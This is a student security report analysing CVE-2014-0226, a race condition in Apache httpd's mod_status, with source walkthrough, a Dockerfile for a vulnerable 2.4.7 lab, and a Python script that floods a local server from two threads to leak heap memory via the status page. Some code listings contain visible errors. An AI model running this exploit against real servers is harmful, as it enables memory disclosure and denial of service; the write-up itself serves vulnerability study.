

Inter-IIT Final Report

CVE-2014-0226

[Github](#)

Bug Overview

Race condition in the *mod_status module* in the Apache HTTP Server before 2.4.10 allows remote attackers to cause a denial of service(DOS) (heap-based buffer overflow), or possibly obtain sensitive credential information or execute arbitrary code, via a crafted request that triggers improper scoreboard handling within the *status_handler function* in *modules/generators/mod_status.c* and the *lua_ap_scoreboard_worker function* in *modules/lua/lua_request.c*.

Analysis

We first look at status/utils.c

```
1906     }
1907     AP_DECLARE(char *) ap_escape_logitem(apr_pool_t *p, const char *str)
1908     {
1909         char *ret;
1910         unsigned char *d;
1911         ~/CVE_test/apache/httpd-2.4.7/CMakeLists.txt
1912         apr_size_t length, escapes = 0;
1913
1914         if (!str) {
1915             return NULL;
1916         }
1917
1918         /* Compute how many characters need to be escaped */
1919         s = (const unsigned char *)str;
1920         for (; *s; ++s) {
1921             if (TEST_CHAR(*s, T_ESCAPE_LOGITEM)) {
1922                 escapes++;
1923             }
1924         }
1925
1926         /* Compute the length of the input string, including NULL */
1927         length = s - (const unsigned char *)str + 1;
1928
1929         /* Fast path: nothing to escape */
1930         if (escapes == 0) {
1931             return apr_pmemdup(p, str, length);
1932         }
1933
1934         /* Each escaped character needs up to 3 extra bytes (0 --> \x00) */
1935         ret = apr_palloc(p, length + 3 * escapes);
1936         d = (unsigned char *)ret;
1937         s = (const unsigned char *)str;
1938         for (; *s; ++s) {
1939             if (TEST_CHAR(*s, T_ESCAPE_LOGITEM)) {
```

Here `ap_escape_logitem` function takes in a string and returns the string without any escape characters (being special characters). Now if there are zero escapes then the function directly returns the string using `apr_pmemdup` indicated in line 1931.

Now let's consider a multithreaded condition, one thread leads to the calling of `ap_escape_logitem` function but before it enters and assuming zero escapes, before it enters the `apr_pmemdup` some other thread modifies the memory location storing the string to some other value. This would lead to `apr_pmemdup` copying the values from the modified memory location and then the string would not be zero ended at the end.

Now we look at `mod_status.c` in `modules/generators`, at

```
822         ws_record->times.tms_cutime +
823         ws_record->times.tms_cstime) / tick,
824     #endif
825         (long)apr_time_sec(nowtime -
826                             ws_record->last_used),
827         (long)req_time);
828
829     ap_rprintf(r, "</td><td>%-1.1f</td><td>%-2.2f</td><td>%-2.2f\\n",
830                (float)conn_bytes / KBYTE, (float) my_bytes / MBYTE,
831                (float)bytes / MBYTE);
832
833     ap_rprintf(r, "</td><td>%s</td><td nowrap>%s</td>"
834                "<td nowrap>%s</td></tr>\\n\\n",
835                ap_escape_html(r->pool,
836                               ws_record->client),
837                ap_escape_html(r->pool,
838                               ws_record->vhost),
839                ap_escape_html(r->pool,
840                               ap_escape_logitem(r->pool,
841                                                  ws_record->request)));
842     } /* no_table_report */
843     } /* for (j...) */
844 } /* for (i...) */
845
846 if (!no_table_report) {
847     ap_rputs("</table>\\n \\
848 <hr /> \\
849 <table>\\n \\
```

In this part of the code, in Line 839 we see that `ap_escape_logitem` is called, on its completion it passes the string to `ap_escape_html`.

This part of the code is part of a larger loop where worker structs are being iterated. The worker struct being part of `scoreboard.h` is given below.

```

typedef struct worker_score worker_score;
struct worker_score {
#ifdef APR_HAS_THREADS
    apr_os_thread_t tid;
#endif
    int thread_num;
    /* With some MPMs (e.g., worker), a worker_score can represent
     * a thread in a terminating process which is no longer
     * represented by the corresponding process_score. These MPMs
     * should set pid and generation fields in the worker_score.
     */
    pid_t pid;
    ap_generation_t generation;
    unsigned char status;
    unsigned short conn_count;
    apr_off_t conn_bytes;
    unsigned long access_count;
    apr_off_t bytes_served;
    unsigned long my_access_count;
    apr_off_t my_bytes_served;
    apr_time_t start_time;
    apr_time_t stop_time;
    apr_time_t last_used;
#ifdef HAVE_TIMES
    struct tms times;
#endif
    char client[32]; /* Keep 'em small... */
    char request[64]; /* We just want an idea... */
    char vhost[32]; /* What virtual host is being accessed? */
};

```

The request field can be modified using the **update_child_status_internal** function which can be called by the other thread at the same time when `ap_escape_logitem` is being called. This might lead to a change in the string and returning a string without zero ended.

Now after the `ap_escape_logitem` returns a faulty string, it is then passed to `ap_escape_html`,

```

AP_DECLARE(char *) ap_escape_html2(apr_pool_t *p, const char *s, int toasc)
{
    int i, j;
    char *x;

    /* first, count the number of extra characters */
    for (i = 0, j = 0; s[i] != '\0'; i++)
        if (s[i] == '<' || s[i] == '>')
            j += 3;
        else if (s[i] == '&')
            j += 4;
        else if (s[i] == '"')
            j += 5;
        else if (toasc && !apr_isascii(s[i]))
            j += 5;

    if (j == 0)
        return apr_pstrmemdup(p, s, i);

    x = apr_palloc(p, i + j + 1);
    for (i = 0, j = 0; s[i] != '\0'; i++, j++)
        if (s[i] == '<') {
            memcpy(&x[j], "&lt;", 4);
            j += 3;
        }
        else if (s[i] == '>') {
            memcpy(&x[j], "&gt;", 4);
            j += 3;
        }
        else if (s[i] == '&') {
            memcpy(&x[j], "&amp;", 5);
            j += 4;
        }
        else if (s[i] == '"') {
            memcpy(&x[j], "&quot;", 6);
            j += 5;
        }
        else if (toasc && !apr_isascii(s[i])) {
            char *esc = apr_psprintf(p, "&#%3.3d;", (unsigned char)s[i]);
            memcpy(&x[j], esc, 6);
            j += 5;
        }
        else
            x[j] = s[i];

    x[j] = '\0';
    return x;
}

```

What this function does it copies the contents of the given string and copies it onto x removing the escaped letters. Since the apr_pmemdup allocated some bytes but the length of the string might not be the same since it is changed, the function after the length of the original request starts copying from random memory. Hence this might cause information leak.

Exploitation

We set up the environment using docker, we install apache-2.4.7 on a ubuntu image using a docker file.

```

CVE-2014-0226 > dockerfile
1 FROM ubuntu:latest
2 RUN apt-get update
3 #installing essential libraries
4 RUN apt-get -y install unzip wget git less subversion python3 curl
5 RUN apt-get -y install libtool-bin libtool autoconf build-essential vim libxml2 libexpat1-dev libpcre3-dev
6 #Copying the apache file
7 COPY /apache/httpd-2.4.7 .
8 #getting the apache apr to run the exploit
9 RUN svn co http://svn.apache.org/repos/asf/apr/apr/trunk srclib/apr
10 #Configuring with the apr
11 RUN ./buildconf
12 RUN ./configure --enable-mods-shared=reallyall --with-included-apr
13 # installing httpd 2.4.7
14 RUN make
15 RUN make install
16 # COPY ./apache /etc/apache
17 # Copying out exploit code
18 COPY ./cve_226.py .
19 # Setting the server status and extended status
20 RUN echo 'SetHandler server-status\nExtendedStatus On' >> /usr/local/apache2/conf/httpd.conf
21 EXPOSE 80

```

After building the above docker file we get an image, which can then be run in interactive mode using the -it flag,

```

fossil@192 CVE-2014-0226 % docker build -t cve_exploit .
[+] Building 162.9s (17/17) FINISHED
=> [internal] load build definition from Dockerfile 0.0s
=> => transferring dockerfile: 1.08kB 0.0s
=> [internal] load .dockerignore 0.0s
=> => transferring context: 2B 0.0s
=> [internal] load metadata for docker.io/library/ubuntu:latest 0.0s
=> [ 1/12] FROM docker.io/library/ubuntu:latest 0.0s
=> [internal] load build context 0.2s
=> => transferring context: 558.21kB 0.2s
=> CACHED [ 2/12] RUN apt-get update 0.0s
=> [ 3/12] RUN apt-get -y install unzip wget git less subversion python 11.4s
=> [ 4/12] RUN apt-get -y install libtool-bin libtool autoconf build-es 26.3s
=> [ 5/12] COPY /apache/httpd-2.4.7 . 0.5s
=> [ 6/12] RUN svn co http://svn.apache.org/repos/asf/apr/apr/trunk srcl 9.2s
=> [ 7/12] RUN ./buildconf 3.6s
=> [ 8/12] RUN ./configure --enable-mods-shared=reallyall --with-includ 16.7s
=> [ 9/12] RUN make 84.3s
=> [10/12] RUN make install 9.5s
=> [11/12] COPY ./cve_226.py . 0.0s
=> [12/12] RUN echo 'SetHandler server-status\nExtendedStatus On' >> /us 0.3s
=> exporting to image 0.9s
=> => exporting layers 0.9s
=> => writing image sha256:8fffcc1586153280361bbeaa4f7b02db97800d76ff6e4 0.0s
=> => naming to docker.io/library/cve_exploit 0.0s

```

Use 'docker scan' to run Snyk tests against images to find vulnerabilities and learn how to fix them

```

fossil@192 CVE_test % docker images
REPOSITORY    TAG       IMAGE ID       CREATED        SIZE
<none>        <none>    314efd91960a   33 seconds ago 734MB
ubuntu        latest    4c2c87c6c36e   5 days ago    69.2MB
fossil@192 CVE_test % docker run -it 314efd91960a
root@3ec58d726:/#

```

And now we are inside the terminal, we first start the apache server, using `./httpd` command which starts our server,

```
root@c3ec58d7d726:/# ./httpd
AH00558: httpd: Could not reliably determine the server's fully qualified domain name, using 172
.17.0.2. Set the 'ServerName' directive globally to suppress this message
```

The server is running at 127.0.0.1 at port 80 in local host.

We can look at the server status page using `curl` command and saving the output to a `html` file.

```
root@768430236b30:/# curl -o output.html 127.0.0.1:80
% Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
           % Dload    % Upload   Total       Spent      Left     Speed
100 34296    0 34296    0     0  4500k      0  --:--:-- --:--:-- --:--:-- 5582k
```

Apache Server Status for 127.0.0.1 (via 127.0.0.1)

Server Version: Apache/2.4.7 (Unix)
Server MPM: event
Server Built: Dec 21 2022 14:10:04

Current Time: Wednesday, 21-Dec-2022 14:33:26 UTC
Restart Time: Wednesday, 21-Dec-2022 14:20:15 UTC
Parent Server Config. Generation: 1
Parent Server MPM Generation: 0
Server uptime: 13 minutes 10 seconds
Server load: 0.03 0.66 0.56
Total accesses: 1769670 - Total Traffic: 8.8 GB
CPU Usage: u18.49 s18.64 cu0 cs0 - 4.7% CPU load
2240 requests/sec - 11.4 MB/second - 5.2 kB/request
1 requests currently being processed, 74 idle workers

PID	Connections			Threads			Async connections		
	total	accepting	busy	idle	writing	keep-alive	closing		
704	0	yes	0	25	0	0	0		
504	0	yes	1	24	0	0	0		
761	0	yes	0	25	0	0	0		
Sum	0		1	74	0	0	0		

Scoreboard Key:
" " Waiting for Connection, "s" Starting up, "R" Reading Request,
"w" Sending Reply, "k" Keepalive (read), "D" DNS Lookup,
"c" Closing connection, "L" Logging, "G" Gracefully finishing,
"I" Idle cleanup of worker, "." Open slot with no current process

See PID, Age, M, CPU, SS, Desc, Conn, Child, Slot, Client, VHost, Request

The `cve_226.py` files contains our code that exploits this bug, given below

```

CVE-2014-0226 > cve_226.py
1  #!/usr/bin/env python
2  import http.client
3  import sys
4  import threading
5  import subprocess
6  import random
7  import re
8
9  def send_request(method, url):
10     try:
11         c = http.client.HTTPConnection('127.0.0.1', 80)
12         c.request(method, url)
13         if "foo" in url:
14             #find_leaks(c.getresponse().read())
15             string = c.getresponse.read().decode('ISO-8859-1')
16             matches = re.findall(re.compile('\{(.*)\}', string), string)
17             leaks = []
18             for match in matches:
19                 if not match or 'AAAA' in match or 'notables' in match:
20                     continue
21                 else:
22                     leaks.append(match)
23             if len(leaks) > 0:
24                 print(leaks)
25     except Exception as e:
26         print(e)
27         pass
28
29 def mod_status_thread():
30     while True:
31         send_request("GET", "/foo?notables")
32
33 def requests():
34     req = ''.join('A' for i in range(random.randint(0, 1024)))
35     while True:
36         send_request(req, req)
37
38 threading.Thread(target=mod_status_thread).start()
39 threading.Thread(target=requests).start()

```

In the code we open two threads that spam the server with different requests and watching the response that we get we can see the memory leaks,

